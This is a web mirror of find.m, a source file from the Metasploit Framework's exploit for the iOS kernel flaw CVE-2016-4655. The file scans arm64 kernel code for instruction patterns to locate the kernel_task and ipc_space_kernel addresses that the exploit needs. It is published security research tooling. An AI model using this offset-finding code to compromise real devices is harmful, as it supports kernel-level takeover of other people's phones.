CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4655/find.m
Views: 11780
1
/*
2
* find.m - Minimal offsets finder
3
* Taken and modified from cl0ver
4
*
5
* Copyright (c) 2016-2017 Siguza
6
*/
7
8
#include <stdint.h>
9
#include <string.h> // strlen, strerror, memcmp
10
#include <mach/mach.h>
11
12
#include "arch.h"
13
#include "nvpatch.h"
14
#include "find.h"
15
16
// imm = register plus immediate, lit = PC-relative literal
17
18
#define IS_RET(instr) ((instr) == 0xd65f03c0)
19
#define IS_BL(instr) (((instr) & 0xfc000000) == 0x94000000)
20
#define LDR_IMM(instr) (((instr) >> 7) & 0x7ff8)
21
// for all *_LIT: 26-bit sign extend and multiply by 4
22
#define LDR_LIT(instr) ((((int64_t)(instr) & 0xffffe0) << 40) >> 43)
23
#define ADR_LIT(instr) (((((int64_t)(instr) & 0xffffe0) << 40) >> 43) | (((instr) >> 29) & 3))
24
#define ADRP_LIT(instr) (ADR_LIT(instr) << 12)
25
#define ADD_LIT(instr) (((instr) & 0x3ffc00) >> 10)
26
27
static segment_t* ptr_segment(segment_t *segs, size_t numsegs, void *ptr)
28
{
29
for(size_t i = 0; i < numsegs; ++i)
30
{
31
if((char*)segs[i].buf <= (char*)ptr && &((char*)segs[i].buf)[segs[i].len] > (char*)ptr)
32
{
33
return &segs[i];
34
}
35
}
36
LOG("pointer out of range: " ADDR, (vm_address_t)ptr);
37
return NULL;
38
}
39
40
static vm_address_t ptr_to_vmem(segment_t *segs, size_t numsegs, void *ptr)
41
{
42
segment_t *seg = ptr_segment(segs, numsegs, ptr);
43
if(!seg)
44
{
45
return 0;
46
}
47
return seg->addr + ((char*)ptr - (char*)seg->buf);
48
}
49
50
static vm_address_t vmem_find_bytes(segment_t *segs, size_t numsegs, void *search, size_t len, size_t granularity, char *name)
51
{
52
for(size_t i = 0; i < numsegs; ++i)
53
{
54
for(size_t off = 0; off <= segs[i].len - len; off += granularity)
55
{
56
if(memcmp(&((char*)segs[i].buf)[off], search, len) == 0)
57
{
58
return segs[i].addr + off;
59
}
60
}
61
}
62
LOG("Failed to vmem_find_bytes: %s", name);
63
return 0;
64
}
65
66
static vm_address_t vmem_find_str(segment_t *segs, size_t numsegs, char *str)
67
{
68
return vmem_find_bytes(segs, numsegs, str, strlen(str) + 1, 1, str);
69
}
70
71
vm_address_t find_kernel_task(segment_t *text)
72
{
73
LOG("Looking for kernel_task...");
74
75
vm_address_t panic_info = vmem_find_str(text, 1, "aapl,panic-info");
76
LOG("\"aapl,panic-info\" at " ADDR "...", panic_info);
77
if(panic_info)
78
{
79
for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)
80
{
81
if((*ptr & 0x9f000000) == 0x10000000) // adr
82
{
83
vm_address_t pc = ptr_to_vmem(text, 1, ptr);
84
if(pc)
85
{
86
if(pc + ADR_LIT(*ptr) == panic_info) // adr Xn, "aapl,panic-info"
87
{
88
LOG("Found reference to \"aapl,panic-info\" at " ADDR, pc);
89
for(uint32_t *p = ptr - 1; p >= (uint32_t*)text->buf; --p)
90
{
91
if((*p & 0xffffffe0) == 0xd538d080) // mrs Xn, tpidr_el1
92
{
93
LOG("Last reference to tpidr_el1 before that is at " ADDR, ptr_to_vmem(text, 1, p));
94
95
size_t num_ldrs = 0;
96
uint32_t *last = NULL;
97
for(++p; p < ptr; ++p)
98
{
99
if((*p & 0xff000000) == 0x58000000) // ldr with PC-relative offset
100
{
101
last = p;
102
++num_ldrs;
103
}
104
}
105
106
if(num_ldrs == 1)
107
{
108
pc = ptr_to_vmem(text, 1, last);
109
if(pc)
110
{
111
vm_address_t ret = pc + LDR_LIT(*last);
112
LOG("Found kernel_task symbol at " ADDR, ret);
113
return ret;
114
}
115
}
116
else
117
{
118
LOG("Number of PC-relative ldr's between tpidr_el1 and panic-ref is != 1");
119
}
120
goto next; // "break" would trigger the message below
121
}
122
}
123
LOG("But found no reference to tpidr_el1 before that, looking for next reference to \"aapl,panic-info\"...");
124
next:;
125
}
126
}
127
}
128
}
129
}
130
131
LOG("Failed to find kernel_task");
132
return 0;
133
}
134
135
vm_address_t find_ipc_space_kernel(segment_t *text)
136
{
137
LOG("Looking for ipc_space_kernel...");
138
139
vm_address_t str = vmem_find_str(text, 1, "\"failed to create resume port\"");
140
LOG("\"\"failed to create resume port\"\" at " ADDR "...", str);
141
if(str)
142
{
143
// find either convert_task_suspension_token_to_port or task_suspend
144
for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)
145
{
146
if
147
(
148
(ptr[0] & 0x9f000000) == 0x90000000 && // adrp
149
(ptr[1] & 0xffc00000) == 0x91000000 // add with unshifted immediate
150
)
151
{
152
vm_address_t pc = ptr_to_vmem(text, 1, ptr);
153
if(pc)
154
{
155
if((pc & 0xfffffffffffff000) + ADRP_LIT(ptr[0]) + ADD_LIT(ptr[1]) == str) // ref to our string
156
{
157
LOG("Found reference to \"\"failed to create resume port\"\" at " ADDR, pc);
158
for(uint32_t *p = ptr - 1, count = 0; p >= (uint32_t*)text->buf; --p)
159
{
160
if(IS_RET(*p))
161
{
162
if(count == 0) // panic() lies after ret;, thus skip 2
163
{
164
++count;
165
}
166
else
167
{
168
++p;
169
LOG("Start of function is at " ADDR, ptr_to_vmem(text, 1, p));
170
171
for(count = 0; p < ptr; ++p) // find second bl
172
{
173
if(IS_BL(*p))
174
{
175
if(count == 0)
176
{
177
++count;
178
}
179
else
180
{
181
LOG("Second bl is at " ADDR, ptr_to_vmem(text, 1, p));
182
if
183
(
184
(p[-3] & 0x9f000000) == 0x90000000 && // adrp
185
(p[-2] & 0xffc00000) == 0x91000000 && // add with unshifted immediate
186
(p[-1] & 0xffc00000) == 0xf9400000 // ldr with immediate
187
)
188
{
189
pc = ptr_to_vmem(text, 1, p - 3);
190
if(pc)
191
{
192
vm_address_t ret = (pc & 0xfffffffffffff000) + ADRP_LIT(p[-3]) + ADD_LIT(p[-2]) + LDR_IMM(p[-1]);
193
LOG("Found ipc_space_kernel symbol at " ADDR, ret);
194
return ret;
195
}
196
}
197
else
198
{
199
LOG("Didn't find expected instructions before bl...");
200
}
201
goto next; // "break" would trigger the message below
202
}
203
}
204
}
205
206
LOG("But found no two bl; after that, looking for next reference to \"\"failed to create resume port\"\"...");
207
goto next;
208
}
209
}
210
}
211
LOG("But found no two ret; before that, looking for next reference to \"\"failed to create resume port\"\"...");
212
next:;
213
}
214
}
215
}
216
}
217
}
218
219
LOG("Failed to find ipc_space_kernel");
220
return 0;
221
}
222
223